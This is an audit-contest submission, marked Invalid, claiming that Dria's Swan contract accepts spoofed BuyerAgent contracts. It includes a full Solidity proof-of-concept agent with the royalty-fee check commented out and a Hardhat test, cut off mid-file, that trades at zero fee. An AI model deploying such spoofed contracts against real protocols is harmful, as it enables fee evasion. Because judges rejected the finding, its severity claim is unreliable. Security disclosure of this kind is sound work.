Dria
Swan
NFTHardhat
21,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

list and relist functions from Swan contract are not validating if BuyerAgent is created through the protocol

cryptozaki

Summary

The functions listand relistare not validating if the BuyerAgent is created through the intended function createBuyerfrom the Swan contract.

The following code can be exploited:

BuyerAgent buyer = BuyerAgent(_buyer);

Since we are converting the _buyeraddress to BuyerAgent contract, anyone can create contract matching the function signatures of the BuyerAgent contract and insert malicious code.

For the sake of this report, we will see how we can buy/sell asset with 0 royaltyFee (Note that as per documentation and as per the natspec of the BuyerAgent the royaltyFee must be between 1 and 100).

The following code is in the BuyerAgent contructor is valildating the royaltyFee:

if (_royaltyFee < 1 || _royaltyFee > 100) {
revert InvalidFee(_royaltyFee);
}

Lets take for example the following contract:

// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;
​
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {LLMOracleTask, LLMOracleTaskParameters} from "../llm/LLMOracleTask.sol";
import {Swan, SwanBuyerPurchaseOracleProtocol, SwanBuyerStateOracleProtocol} from "../swan/Swan.sol";
import {SwanMarketParameters} from "../swan/SwanManager.sol";
​
/// @notice BuyerAgent is responsible for buying the assets from Swan.
contract ZeroFeeBuyerAgent is Ownable {
/*//////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
​
/// @notice The `value` is less than `minFundAmount`
error MinFundSubceeded(uint256 value);
​
/// @notice Given fee is invalid, e.g. not within the range.
error InvalidFee(uint256 fee);
​
/// @notice Asset count limit exceeded for this round
error BuyLimitExceeded(uint256 have, uint256 want);
​
/// @notice Invalid phase
error InvalidPhase(Phase have, Phase want);
​
/// @notice Unauthorized caller.
error Unauthorized(address caller);
​
/// @notice No task request has been made yet.
error TaskNotRequested();
​
/// @notice The task was already processed, via `purchase` or `updateState`.
error TaskAlreadyProcessed();
​
/*//////////////////////////////////////////////////////////////
STORAGE
//////////////////////////////////////////////////////////////*/
​
/// @notice Phase of the purchase loop.
enum Phase {
Sell,
Buy,
Withdraw
}
​
/// @notice Swan contract.
Swan public immutable swan;
/// @notice Timestamp when the contract is deployed.
uint256 public immutable createdAt;
​
/// @notice Holds the index of the Swan market parameters at the time of deployment.
/// @dev When calculating the round, we will use this index to determine the start interval.
uint256 public immutable marketParameterIdx;
​
/// @notice Buyer agent name.
string public name;
/// @notice Buyer agent description, can include backstory, behavior and objective together.
string public description;
/// @notice State of the buyer agent.
/// @dev Only updated by the oracle via `updateState`.
bytes public state;
/// @notice Royalty fees for the buyer agent.
uint96 public royaltyFee;
/// @notice The max amount of money the agent can spend per round.
uint256 public amountPerRound;
​
/// @notice The assets that the buyer agent has.
mapping(uint256 round => address[] assets) public inventory;
/// @notice Amount of money spent on each round.
mapping(uint256 round => uint256 spending) public spendings;
​
/// @notice Oracle requests for each round about item purchases.
/// @dev A taskId of 0 means no request has been made.
mapping(uint256 round => uint256 taskId) public oraclePurchaseRequests;
/// @notice Oracle requests for each round about buyer state updates.
/// @dev A taskId of 0 means no request has been made.
/// @dev A non-zero taskId means a request has been made, but not necessarily processed.
/// @dev To see if a task is completed, check `isOracleTaskProcessed`.
mapping(uint256 round => uint256 taskId) public oracleStateRequests;
/// @notice Indicates whether a given task has been processed.
/// @dev This is used to prevent double processing of the same task.
mapping(uint256 taskId => bool isProcessed) public isOracleRequestProcessed;
​
/*//////////////////////////////////////////////////////////////
MODIFIERS
//////////////////////////////////////////////////////////////*/
​
/// @notice Check if the caller is the owner, operator, or Swan.
/// @dev Swan is an operator itself, so the first check handles that as well.
modifier onlyAuthorized() {
// if its not an operator, and is not an owner, it is unauthorized
if (!swan.isOperator(msg.sender) && msg.sender != owner()) {
revert Unauthorized(msg.sender);
}
_;
}
​
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
​
/// @notice Create the buyer agent.
/// @dev `_royaltyFee` should be between 1 and 100.
/// @dev All tokens are approved to the oracle coordinator of operator.
constructor(
string memory _name,
string memory _description,
uint96 _royaltyFee,
uint256 _amountPerRound,
address _operator,
address _owner
) Ownable(_owner) {
// if (_royaltyFee < 1 || _royaltyFee > 100) {
// revert InvalidFee(_royaltyFee);
// }
royaltyFee = _royaltyFee;
​
swan = Swan(_operator);
amountPerRound = _amountPerRound;
name = _name;
description = _description;
createdAt = block.timestamp;
marketParameterIdx = swan.getMarketParameters().length - 1;
​
// approve the coordinator to take fees
// a max approval results in infinite allowance
swan.token().approve(address(swan.coordinator()), type(uint256).max);
swan.token().approve(address(swan), type(uint256).max);
}
​
/*//////////////////////////////////////////////////////////////
LOGIC
//////////////////////////////////////////////////////////////*/
​
/// @notice The minimum amount of money that the buyer must leave within the contract.
/// @dev minFundAmount = amountPerRound + oracleTotalFee
function minFundAmount() public view returns (uint256) {
return amountPerRound + swan.getOracleFee();
}
​
/// @notice Reads the best performing result for a given task id, and parses it as an array of addresses.
/// @param taskId task id to be read
function oracleResult(uint256 taskId) public view returns (bytes memory) {
// task id must be non-zero
if (taskId == 0) {
revert TaskNotRequested();
}
​
return swan.coordinator().getBestResponse(taskId).output;
}
​
/// @notice Calls the LLMOracleCoordinator & pays for the oracle fees to make a state update request.
/// @param _input input to the LLMOracleCoordinator.
/// @param _models models to be used for the oracle.
/// @dev Works only in `Withdraw` phase.
/// @dev Calling again in the same round will overwrite the previous request.
/// The operator must check that there is no request in beforehand,
/// so to not overwrite an existing request of the owner.
function oracleStateRequest(bytes calldata _input, bytes calldata _models) external onlyAuthorized {
// check that we are in the Withdraw phase, and return round
(uint256 round, ) = _checkRoundPhase(Phase.Withdraw);
​
oracleStateRequests[round] = swan.coordinator().request(
SwanBuyerStateOracleProtocol,
_input,
_models,
swan.getOracleParameters()
);
}
​
/// @notice Calls the LLMOracleCoordinator & pays for the oracle fees to make a purchase request.
/// @param _input input to the LLMOracleCoordinator.
/// @param _models models to be used for the oracle.
/// @dev Works only in `Buy` phase.
/// @dev Calling again in the same round will overwrite the previous request.
/// The operator must check that there is no request in beforehand,
/// so to not overwrite an existing request of the owner.
function oraclePurchaseRequest(bytes calldata _input, bytes calldata _models) external onlyAuthorized {
// check that we are in the Buy phase, and return round
(uint256 round, ) = _checkRoundPhase(Phase.Buy);
​
oraclePurchaseRequests[round] = swan.coordinator().request(
SwanBuyerPurchaseOracleProtocol,
_input,
_models,
swan.getOracleParameters()
);
}
​
/// @notice Function to update the Buyer state.
/// @dev Works only in `Withdraw` phase.
/// @dev Can be called multiple times within a single round, although is not expected to be done so.
function updateState() external onlyAuthorized {
// check that we are in the Withdraw phase, and return round
(uint256 round, ) = _checkRoundPhase(Phase.Withdraw);
​
// check if the task is already processed
uint256 taskId = oracleStateRequests[round];
if (isOracleRequestProcessed[taskId]) {
revert TaskAlreadyProcessed();
}
​
// read oracle result using the task id for this round
bytes memory newState = oracleResult(taskId);
state = newState;
​
// update taskId as completed
isOracleRequestProcessed[taskId] = true;
}
​
/// @notice Function to buy the asset from the Swan with the given assed address.
/// @dev Works only in `Buy` phase.
/// @dev Can be called multiple times within a single round, although is not expected to be done so.
/// @dev This is not expected to revert if the oracle works correctly.
function purchase() external onlyAuthorized {
// check that we are in the Buy phase, and return round
(uint256 round, ) = _checkRoundPhase(Phase.Buy);
​
// check if the task is already processed
uint256 taskId = oraclePurchaseRequests[round];
if (isOracleRequestProcessed[taskId]) {
revert TaskAlreadyProcessed();
}
​
// read oracle result using the latest task id for this round
bytes memory output = oracleResult(taskId);
address[] memory assets = abi.decode(output, (address[]));
​
// we purchase each asset returned
for (uint256 i = 0; i < assets.length; i++) {
address asset = assets[i];
​
// must not exceed the roundly buy-limit
uint256 price = swan.getListingPrice(asset);
spendings[round] += price;
if (spendings[round] > amountPerRound) {
revert BuyLimitExceeded(spendings[round], amountPerRound);
}
​
// add to inventory
inventory[round].push(asset);
​
// make the actual purchase
swan.purchase(asset);
}
​
// update taskId as completed
isOracleRequestProcessed[taskId] = true;
}
​
/// @notice Function to withdraw the tokens from the contract.
/// @param _amount amount to withdraw.
/// @dev If the current phase is `Withdraw` buyer can withdraw any amount of tokens.
/// @dev If the current phase is not `Withdraw` buyer has to leave at least `minFundAmount` in the contract.
function withdraw(uint96 _amount) public onlyAuthorized {
(, Phase phase, ) = getRoundPhase();
​
// if we are not in Withdraw phase, we must leave
// at least minFundAmount in the contract
if (phase != Phase.Withdraw) {
// instead of checking `treasury - _amount < minFoundAmount`
// we check this way to prevent underflows
if (treasury() < minFundAmount() + _amount) {
revert MinFundSubceeded(_amount);
}
}
​
// transfer the tokens to the owner of Buyer
swan.token().transfer(owner(), _amount);
}
​
/// @notice Alias to get the token balance of buyer agent.
/// @return token balance
function treasury() public view returns (uint256) {
return swan.token().balanceOf(address(this));
}
​
/// @notice Checks that we are in the given phase, and returns both round and phase.
/// @param _phase expected phase.
function _checkRoundPhase(Phase _phase) internal view returns (uint256, Phase) {
(uint256 round, Phase phase, ) = getRoundPhase();
if (phase != _phase) {
revert InvalidPhase(phase, _phase);
}
​
return (round, phase);
}
​
/// @notice Computes cycle time by using intervals from given market parameters.
/// @dev Used in 'computePhase()' function.
/// @param params Market parameters of the Swan.
/// @return the total cycle time that is `sellInterval + buyInterval + withdrawInterval`.
function _computeCycleTime(SwanMarketParameters memory params) internal pure returns (uint256) {
return params.sellInterval + params.buyInterval + params.withdrawInterval;
}
​
/// @notice Function to compute the current round, phase and time until next phase w.r.t given market parameters.
/// @param params Market parameters of the Swan.
/// @param elapsedTime Time elapsed that computed in 'getRoundPhase()' according to the timestamps of each round.
/// @return round, phase, time until next phase
function _computePhase(
SwanMarketParameters memory params,
uint256 elapsedTime
) internal pure returns (uint256, Phase, uint256) {
uint256 cycleTime = _computeCycleTime(params);
uint256 round = elapsedTime / cycleTime;
uint256 roundTime = elapsedTime % cycleTime;
​
// example:
// |-------------> | (roundTime)
// |--Sell--|--Buy--|-Withdraw-| (cycleTime)
if (roundTime <= params.sellInterval) {
return (round, Phase.Sell, params.sellInterval - roundTime);
} else if (roundTime <= params.sellInterval + params.buyInterval) {
return (round, Phase.Buy, params.sellInterval + params.buyInterval - roundTime);
} else {
return (round, Phase.Withdraw, cycleTime - roundTime);
}
}
​
/// @notice Function to return the current round, elapsed round and the current phase according to the current time.
/// @dev Each round is composed of three phases in order: Sell, Buy, Withdraw.
/// @dev Internally, it computes the intervals from market parameters at the creation of this agent, until now.
/// @dev If there are many parameter changes throughout the life of this agent, this may cost more GAS.
/// @return round, phase, time until next phase
function getRoundPhase() public view returns (uint256, Phase, uint256) {
SwanMarketParameters[] memory marketParams = swan.getMarketParameters();
​
if (marketParams.length == marketParameterIdx + 1) {
// if our index is the last market parameter, we can simply treat it as a single instance,
// and compute the phase according to the elapsed time from the beginning of the contract.
return _computePhase(marketParams[marketParameterIdx], block.timestamp - createdAt);
} else {
// we will accumulate the round from each phase, starting from the first one.
uint256 idx = marketParameterIdx;
//
// first iteration, we need to compute elapsed time from createdAt:
// createdAt -|- VVV | ... | ... | block.timestamp
(uint256 round, , ) = _computePhase(marketParams[idx], marketParams[idx + 1].timestamp - createdAt);
idx++;
// start looking at all the intervals beginning from the respective market parameters index
// except for the last element, because we will compute the current phase and timeRemaining for it.
​
while (idx < marketParams.length - 1) {
// for the intermediate elements we need the difference between their timestamps:
// createdAt | ... -|- VVV -|- ... | block.timestamp
(uint256 innerRound, , ) = _computePhase(
marketParams[idx],
marketParams[idx + 1].timestamp - marketParams[idx].timestamp
);
​
// accumulate rounds from each intermediate phase, along with a single offset round
round += innerRound + 1;
​
idx++;
}
​
// for last element we need to compute current phase and timeRemaining according
// to the elapsedTime at the last iteration, where we need to compute from the block.timestamp:
// createdAt | ... | ... | VVV -|- block.timestamp
(uint256 lastRound, Phase phase, uint256 timeRemaining) = _computePhase(
marketParams[idx],
block.timestamp - marketParams[idx].timestamp
);
// accumulate the last round as well, along with a single offset round
round += lastRound + 1;
​
return (round, phase, timeRemaining);
}
}
​
/// @notice Function to set feeRoyalty.
/// @dev Only callable by the owner.
/// @dev Only callable in withdraw phase.
/// @param _fee new feeRoyalty, must be between 1 and 100.
function setFeeRoyalty(uint96 _fee) public onlyOwner {
_checkRoundPhase(Phase.Withdraw);
​
if (_fee < 1 || _fee > 100) {
revert InvalidFee(_fee);
}
royaltyFee = _fee;
}
​
/// @notice Function to set the amountPerRound.
/// @dev Only callable by the owner.
/// @dev Only callable in withdraw phase.
/// @param _amountPerRound new amountPerRound.
function setAmountPerRound(uint256 _amountPerRound) external onlyOwner {
_checkRoundPhase(Phase.Withdraw);
​
amountPerRound = _amountPerRound;
}
}
​

The only difference from the BuyerAgent contract is the name and on line 114 the validation for royaltyFee is commented:

// if (_royaltyFee < 1 || _royaltyFee > 100) {
// revert InvalidFee(_royaltyFee);
// }

Vulnerability Details

This can seriously break the protocol because the ZeroFeeBuyerAgent can be used instead of the BuyerAgent and the buyer/seller can trade without paying any fees.

To verify this follow the steps:

  1. Run yarn compile

  2. Make the following changes to test file Swan.test.ts:

    import { HardhatEthersSigner } from "@nomicfoundation/hardhat-ethers/signers";
    import { time } from "@nomicfoundation/hardhat-toolbox/network-helpers";
    import { ERC20, Swan, BuyerAgent, LLMOracleCoordinator, LLMOracleRegistry, ZeroFeeBuyerAgent } from "../typechain-types";
    import { deployTokenFixture, deploySwanFixture, deployFactoriesFixture } from "./fixtures/deploy";
    import { Phase, AssetStatus } from "./types/enums";
    import { expect } from "chai";
    import { ethers } from "hardhat";
    import { transferTokens, listAssets, safeRespond, registerOracles, safeValidate, createBuyers } from "./helpers";
    import { parseEther, AbiCoder } from "ethers";
    import { SwanMarketParametersStruct } from "../typechain-types/contracts/swan/Swan";
    import { minutes } from "@nomicfoundation/hardhat-network-helpers/dist/src/helpers/time/duration";
    +import { ZeroFeeBuyerAgent } from "../typechain-types/contracts/swan/ZeroFeeBuyerAgent.sol";
    ​
    ​
    /**
    * Test scenario:
    *
    * 2 buyers, 5 assets
    * - Sell round #1: 5 assets are listed
    * - Buy round #1: 1 asset is bought
    * - Withdraw round #1
    * - Sell round #2: 1 asset is relisted
    *
    * Note that increasing the times within `beforeAll` does NOT work! It must be done within `it` following a sequence.
    */
    describe("Swan", function () {
    ​
    ​
    let swan: Swan;
    let token: ERC20;
    let dria: HardhatEthersSigner;
    ​
    // oracle stuff
    let registry: LLMOracleRegistry;
    let coordinator: LLMOracleCoordinator;
    let generator: HardhatEthersSigner;
    let validator: HardhatEthersSigner;
    ​
    // buyers
    let buyer: HardhatEthersSigner;
    let buyerAgent: BuyerAgent;
    let zeroFeeBuyerAgent: ZeroFeeBuyerAgent;
    let buyerToFail: HardhatEthersSigner;
    let buyerAgentToFail: BuyerAgent;
    // sellers
    let seller: HardhatEthersSigner;
    let sellerToRelist: HardhatEthersSigner;
    ​
    // assets
    let assetToBuy: string;
    let assetToRelist: string;
    let assetToFail: string;
    ​
    const MARKET_PARAMETERS = {
    withdrawInterval: minutes(30),
    sellInterval: minutes(60),
    buyInterval: minutes(10),
    platformFee: 1n,
    maxAssetCount: 5n,
    timestamp: 0n,
    } satisfies SwanMarketParametersStruct;
    ​
    const STAKES = { generatorStakeAmount: parseEther("0.01"), validatorStakeAmount: parseEther("0.01") };
    const FEES = { platformFee: 1n, generationFee: parseEther("0.02"), validationFee: parseEther("0.1") };
    const ORACLE_PARAMETERS = { difficulty: 1, numGenerations: 1, numValidations: 1 };
    ​
    const DESC = ethers.encodeBytes32String("description of the asset");
    const [NAME, SYMBOL] = ["SWAN_ASSET_NAME", "SWAT"];
    ​
    const PRICE1 = parseEther("0.01");
    const PRICE2 = parseEther("0.02");
    const PRICE3 = parseEther("8.25");
    ​
    const STAKE_AMOUNT = parseEther("0.2");
    ​
    const AMOUNT_PER_ROUND = ethers.parseEther("2");
    const NEW_AMOUNT_PER_ROUND = 8n;
    ​
    const ROYALTY_FEE = 1;
    ​
    const FEE_AMOUNT2 = (PRICE2 * BigInt(ROYALTY_FEE)) / BigInt(100);
    const FEE_AMOUNT1 = (PRICE1 * BigInt(ROYALTY_FEE)) / BigInt(100);
    const FEE_AMOUNT3 = (PRICE3 * BigInt(ROYALTY_FEE)) / BigInt(100);
    ​
    this.beforeAll(async function () {
    [dria, buyer, buyerToFail, seller, sellerToRelist, generator, validator] = await ethers.getSigners();
    });
    ​
    it("should deploy swan", async function () {
    // deploy token to be able to deploy swan
    const supply = parseEther("1000");
    token = await deployTokenFixture(dria, supply);
    expect(await token.balanceOf(dria.address)).to.eq(supply);
    ​
    const currentTime = (await ethers.provider.getBlock("latest").then((block) => block?.timestamp)) as bigint;
    MARKET_PARAMETERS.timestamp = currentTime;
    ​
    ({ swan, registry, coordinator } = await deploySwanFixture(
    dria,
    token,
    STAKES,
    FEES,
    MARKET_PARAMETERS,
    ORACLE_PARAMETERS
    ));
    ​
    expect(await swan.owner()).to.eq(dria.address);
    expect(await swan.isOperator(dria.address)).to.be.true;
    });
    ​
    it("should create buyers", async function () {
    // prepare buyer agent parameters
    const buyerAgentParams = [
    {
    name: "BuyerAgent#1",
    description: "Description of BuyerAgent 1",
    royaltyFee: ROYALTY_FEE,
    amountPerRound: AMOUNT_PER_ROUND,
    owner: buyer,
    },
    {
    name: "BuyerAgent#2",
    description: "Description of BuyerAgent 2",
    royaltyFee: ROYALTY_FEE,
    amountPerRound: AMOUNT_PER_ROUND,
    owner: buyerToFail,
    },
    ];
    ​
    // get deployed buyer agents
    [buyerAgent, buyerAgentToFail] = await createBuyers(swan, buyerAgentParams);
    ​
    ​
    + const fact = await ethers.getContractFactory("ZeroFeeBuyerAgent");
    ​
    + zeroFeeBuyerAgent = await fact.deploy(
    + "ZeroFeeBuyerAgent#1",
    + "Description of ZeroFeeBuyerAgent 1",
    + 0,
    + AMOUNT_PER_ROUND,
    + swan,
    + buyer
    + );
    ​
    + buyerAgent = zeroFeeBuyerAgent as unknown as BuyerAgent;
    ​
    });
    ​
    it("should fund buyers & sellers", async function () {
    // fund buyers & sellers to create/buy assets
    await transferTokens(token, [
    [buyer.address, parseEther("3")],
    [buyerToFail.address, parseEther("3")],
    [seller.address, FEE_AMOUNT1 + FEE_AMOUNT2 + FEE_AMOUNT3 + FEE_AMOUNT1 + FEE_AMOUNT2],
    [sellerToRelist.address, FEE_AMOUNT2 + FEE_AMOUNT1],
    [generator.address, STAKE_AMOUNT],
    [validator.address, STAKE_AMOUNT],
    ]);
    ​
    // approve swan to spend tokens on behalf of sellers
    await token
    .connect(seller)
    .approve(await swan.getAddress(), BigInt(FEE_AMOUNT1 + FEE_AMOUNT2 + FEE_AMOUNT3 + FEE_AMOUNT1 + FEE_AMOUNT2));
    await token.connect(sellerToRelist).approve(await swan.getAddress(), FEE_AMOUNT2 + FEE_AMOUNT1);
    ​
    // send token to agent from agent owner
    await token.connect(buyer).transfer(await buyerAgent.getAddress(), parseEther("3"));
    });
    ​
    it("should register oracles", async function () {
    await registerOracles(token, registry, [generator], [validator], {
    generatorStakeAmount: STAKE_AMOUNT,
    validatorStakeAmount: STAKE_AMOUNT,
    });
    });
    ​
    describe("Sell phase #1: listing", () => {
    const currRound = 0n;
    ​
    it("should be in sell phase", async function () {
    const [round, phase] = await buyerAgent.getRoundPhase();
    expect(round).to.be.equal(currRound);
    expect(phase).to.be.equal(Phase.Sell);
    });
    ​
    it("should list 5 assets for the first round", async function () {
    await listAssets(
    swan,
    buyerAgent,
    [
    [seller, PRICE1],
    [seller, PRICE2],
    [seller, PRICE3],
    [sellerToRelist, PRICE2],
    [sellerToRelist, PRICE1],
    ],
    NAME,
    SYMBOL,
    DESC,
    0n
    );
    ​
    [assetToBuy, assetToRelist, assetToFail, ,] = await swan.getListedAssets(
    await buyerAgent.getAddress(),
    currRound
    );
    ​
    expect(await token.balanceOf(seller)).to.be.equal(FEE_AMOUNT1 + FEE_AMOUNT2);
    expect(await token.balanceOf(sellerToRelist)).to.be.equal(0);
    });
    ​
    it("should NOT allow to list an asset more than max asset count", async function () {
    // try to list an asset more than max asset count
    await expect(swan.connect(sellerToRelist).list(NAME, SYMBOL, DESC, PRICE1, await buyerAgent.getAddress()))
    .to.be.revertedWithCustomError(swan, "AssetLimitExceeded")
    .withArgs(MARKET_PARAMETERS.maxAssetCount);
    });
    ​
    it("should NOT allow to purchase in sell phase", async function () {
    // try to purchase an asset in sell phase
    await expect(buyerAgent.connect(buyer).purchase())
    .to.be.revertedWithCustomError(buyerAgent, "InvalidPhase")
    .withArgs(Phase.Sell, Phase.Buy);
    });
    ​
    it("should NOT allow to relist an asset in the same round", async function () {
    // try to relist an asset that you own within the same round
    await expect(swan.connect(seller).relist(assetToFail, buyerAgent, PRICE2))
    .to.be.revertedWithCustomError(swan, "RoundNotFinished")
    .withArgs(assetToFail, currRound);
    });
    });
    ​
    describe("Buy phase #1: purchasing", () => {
    const currRound = 0n;
    ​
    it("should be in buy phase", async function () {
    await time.increase(MARKET_PARAMETERS.sellInterval);
    const [round, phase] = await buyerAgent.getRoundPhase();
    expect(round).to.be.equal(currRound);
    expect(phase).to.be.equal(Phase.Buy);
    });
    ​
    it("should NOT allow to purchase by non-buyer", async function () {
    // try to purchase an asset by another buyer
    await expect(buyerAgent.connect(buyerToFail).purchase())
    .to.be.revertedWithCustomError(swan, "Unauthorized")
    .withArgs(buyerToFail.address);
    });
    ​
    it("should NOT allow to spend more than amountPerRound", async function () {
    // since there is no taskId yet, we will see 0 here
    // and we will have 1 after first request
    const taskId = 1;
    ​
    expect(await buyerAgent.oraclePurchaseRequests(currRound)).to.eq(0);
    await buyerAgent.connect(buyer).oraclePurchaseRequest("0x", "0x");
    expect(await buyerAgent.oraclePurchaseRequests(currRound)).to.eq(taskId);
    expect(await buyerAgent.isOracleRequestProcessed(taskId)).to.be.false;
    ​
    // set output to be more than amountPerRound
    const output = new AbiCoder().encode(["address[]"], [[assetToBuy, assetToFail]]);
    ​
    // respond & validate the oracle request
    await safeRespond(coordinator, generator, output, "0x", 1n, 0n);
    await safeValidate(coordinator, validator, [parseEther("1")], "0x", 1n, 0n);
    ​
    // try to purchase an asset with more than amountPerRound
    await expect(buyerAgent.connect(buyer).purchase()).to.be.revertedWithCustomError(buyerAgent, "BuyLimitExceeded");
    ​
    // task should still be not processed because it failed
    expect(await buyerAgent.isOracleRequestProcessed(taskId)).to.be.false;
    });
    ​
    it("should purchase an asset", async function () {
    // we already made a request before, so we have 1, and it will be 2
    const taskId = 2;
    ​
    expect(await buyerAgent.connect(buyer).oraclePurchaseRequests(currRound)).to.eq(taskId - 1);
    await buyerAgent.connect(buyer).oraclePurchaseRequest("0x", "0x");
    expect(await buyerAgent.connect(buyer).oraclePurchaseRequests(currRound)).to.eq(taskId);
    expect(await buyerAgent.isOracleRequestProcessed(taskId)).to.be.false;
    ​
    // asset price is smaller than `amountPerRound`, so we can purchase it
    const output = new AbiCoder().encode(["address[]"], [[assetToBuy]]);
    ​
    // respond & validate the oracle request
    await safeRespond(coordinator, generator, output, "0x", 2n, 0n);
    await safeValidate(coordinator, validator, [parseEther("1")], "0x", 2n, 0n);
    ​
    // purchase the asset
    expect(await buyerAgent.connect(buyer).purchase())
    .to.emit(swan, "AssetSold")
    .withArgs(seller, buyerAgent, assetToBuy, PRICE1);
    ​
    // task should be completed now
    expect(await buyerAgent.isOracleRequestProcessed(taskId)).to.be.true;
    });
    ​
    it("should NOT allow purchase that have already been purchased", async function () {
    await expect(buyerAgent.connect(buyer).purchase()).to.be.revertedWithCustomError(
    buyerAgent,
    "TaskAlreadyProcessed"
    );
    });
    });
    ​
    describe("Withdraw phase #1", () => {
    const currRound = 0n;
    ​
    it("should be in withdraw phase", async function () {
    await time.increase(MARKET_PARAMETERS.buyInterval);
    const [round, phase] = await buyerAgent.getRoundPhase();
    expect(round).to.be.equal(currRound);
    expect(phase).to.be.equal(Phase.Withdraw);
    });
    ​
    it("should update state", async function () {
    // since there is no taskId yet, we will see 0 here
    // and we will have 3 after first request because we already made two requests before
    const taskId = 3;
    ​
    expect(await buyerAgent.oracleStateRequests(currRound)).to.eq(0);
    await buyerAgent.connect(buyer).oracleStateRequest("0x", "0x");
    expect(await buyerAgent.oracleStateRequests(currRound)).to.eq(taskId);
    expect(await buyerAgent.isOracleRequestProcessed(taskId)).to.be.false;
    ​
    const newState = "0x" + Buffer.from("buyer is happy!").toString("hex");
    // oracle request, response and validation
    await safeRespond(coordinator, generator, newState, "0x", 3n, 0n);
    await safeValidate(coordinator, validator, [parseEther("1")], "0x", 3n, 0n);
    ​
    // update state
    await buyerAgent.connect(buyer).updateState();
    expect(await buyerAgent.state()).to.eq(newState);
    ​
    // task should be completed now
    expect(await buyerAgent.isOracleRequestProcessed(taskId)).to.be.true;
    });
    ​
    it("should NOT allow update state again", async function () {
    await expect(buyerAgent.connect(buyer).updateState()).to.be.revertedWithCustomError(
    buyerAgent,
    "TaskAlreadyProcessed"
    );
    });
    ​
    it("should NOT allow list an asset on withdraw phase", async function () {
    await expect(
    swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE1, await buyerAgent.getAddress())
    ).to.be.revertedWithCustomError(swan, "InvalidPhase");
    });
    ​
    it("should set amountPerRound", async function () {
    await buyerAgent.connect(buyer).setAmountPerRound(NEW_AMOUNT_PER_ROUND);
    expect(await buyerAgent.amountPerRound()).to.be.equal(NEW_AMOUNT_PER_ROUND);
    ​
    await buyerAgentToFail.connect(buyerToFail).setAmountPerRound(NEW_AMOUNT_PER_ROUND);
    expect(await buyerAgentToFail.amountPerRound()).to.be.equal(NEW_AMOUNT_PER_ROUND);
    });
    ​
    it("should NOT allow to create buyer with royalty > 100", async function () {
    const INVALID_ROYALTY_FEE = 150;
    await expect(swan.connect(buyer).createBuyer(NAME, DESC, INVALID_ROYALTY_FEE, AMOUNT_PER_ROUND))
    .to.be.revertedWithCustomError(buyerAgent, "InvalidFee")
    .withArgs(INVALID_ROYALTY_FEE);
    });
    ​
    it("should create new buyer", async function () {
    expect(await swan.connect(buyerToFail).createBuyer(NAME, DESC, ROYALTY_FEE, NEW_AMOUNT_PER_ROUND))
    .to.emit(swan, "BuyerCreated")
    .withArgs(await buyerAgentToFail.getAddress(), () => true);
    });
    ​
    it("should set factories", async function () {
    // deploy new buyerAgentFactory and swanAssetFactory & set them on swan
    const { buyerAgentFactory, swanAssetFactory } = await deployFactoriesFixture(dria);
    await swan.connect(dria).setFactories(await buyerAgentFactory.getAddress(), await swanAssetFactory.getAddress());
    ​
    expect(swanAssetFactory).to.equal(await swan.swanAssetFactory());
    expect(buyerAgentFactory).to.equal(await swan.buyerAgentFactory());
    });
    ​
    it("should NOT allow to relist an asset that already purchased", async function () {
    // get the purchased asset
    const listedAssetAddresses = await swan.getListedAssets(await buyerAgent.getAddress(), currRound);
    const asset = await swan.getListing(listedAssetAddresses[0]);
    ​
    // try to relist that asset
    await expect(swan.connect(seller).relist(listedAssetAddresses[0], buyerAgent, PRICE2))
    .to.be.revertedWithCustomError(swan, "InvalidStatus")
    .withArgs(asset.status, AssetStatus.Listed);
    });
    });
    ​
    describe("Sell phase #2: relisting", () => {
    const currRound = 1n; // incremented from 0
    ​
    it("should increase time to sell phase of second round", async function () {
    await time.increase(MARKET_PARAMETERS.withdrawInterval);
    const [round, phase, timeUntil] = await buyerAgent.getRoundPhase();
    expect(round).to.equal(currRound);
    expect(phase).to.equal(Phase.Sell);
    expect(timeUntil).to.be.greaterThan(0);
    });
    ​
    it("should NOT allow to relist an asset by non-owner", async function () {
    // try to relist an asset by non-owner of the asset
    await expect(swan.connect(sellerToRelist).relist(assetToRelist, buyerAgent, PRICE2))
    .to.be.revertedWithCustomError(swan, "Unauthorized")
    .withArgs(sellerToRelist.address);
    });
    ​
    it("should relist an asset", async function () {
    // relist an asset by asset owner
    await swan.connect(seller).relist(assetToRelist, buyerAgent, PRICE1);
    ​
    // get new listed asset
    const newListedAssetAddresses = await swan.getListedAssets(await buyerAgent.getAddress(), currRound);
    expect(newListedAssetAddresses.length).to.be.equal(1);
    ​
    const newListedAsset = await swan.getListing(newListedAssetAddresses[0]);
    expect(newListedAsset.price).to.be.equal(PRICE1);
    expect(newListedAsset.buyer).to.be.equal(buyerAgent);
    });
    });
    ​
    describe("Buy phase #2: ", () => {
    const currRound = 1n; // incremented from 0
    ​
    it("should increase time to buy phase of the next round", async function () {
    await time.increase(MARKET_PARAMETERS.sellInterval);
    const [round, phase, timeUntil] = await buyerAgent.getRoundPhase();
    expect(round).to.equal(currRound);
    expect(phase).to.equal(Phase.Buy);
    expect(timeUntil).to.be.greaterThan(0);
    });
    ​
    it("should NOT allow to relist an asset on buy phase", async function () {
    await expect(
    swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE2, await buyerAgent.getAddress())
    ).to.be.revertedWithCustomError(swan, "InvalidPhase");
    });
    });
    ​
    describe("Withdraw phase #3", () => {
    const currRound = 2n; // incremented from 1
    const cycleTime =
    BigInt(MARKET_PARAMETERS.withdrawInterval) +
    BigInt(MARKET_PARAMETERS.buyInterval) +
    BigInt(MARKET_PARAMETERS.sellInterval);
    ​
    it("should increase time to withdraw phase of the next round", async function () {
    // go to withdraw phase of this current round
    await time.increase(MARKET_PARAMETERS.buyInterval);
    // skip a whole cycle
    await time.increase(cycleTime);
    ​
    // check the round and phase
    const [round, phase] = await buyerAgent.getRoundPhase();
    expect(round).to.equal(currRound);
    expect(phase).to.equal(Phase.Withdraw);
    });
    ​
    it("should NOT allow to relist an asset in withdraw phase", async function () {
    // try to relist an asset in withdraw phase.
    // we are doing this in withdraw phase of the next round,
    // because otherwise we would be seeing RoundNotFinished error
    await expect(swan.connect(seller).relist(assetToRelist, buyerAgent, PRICE1))
    .to.be.revertedWithCustomError(swan, "InvalidPhase")
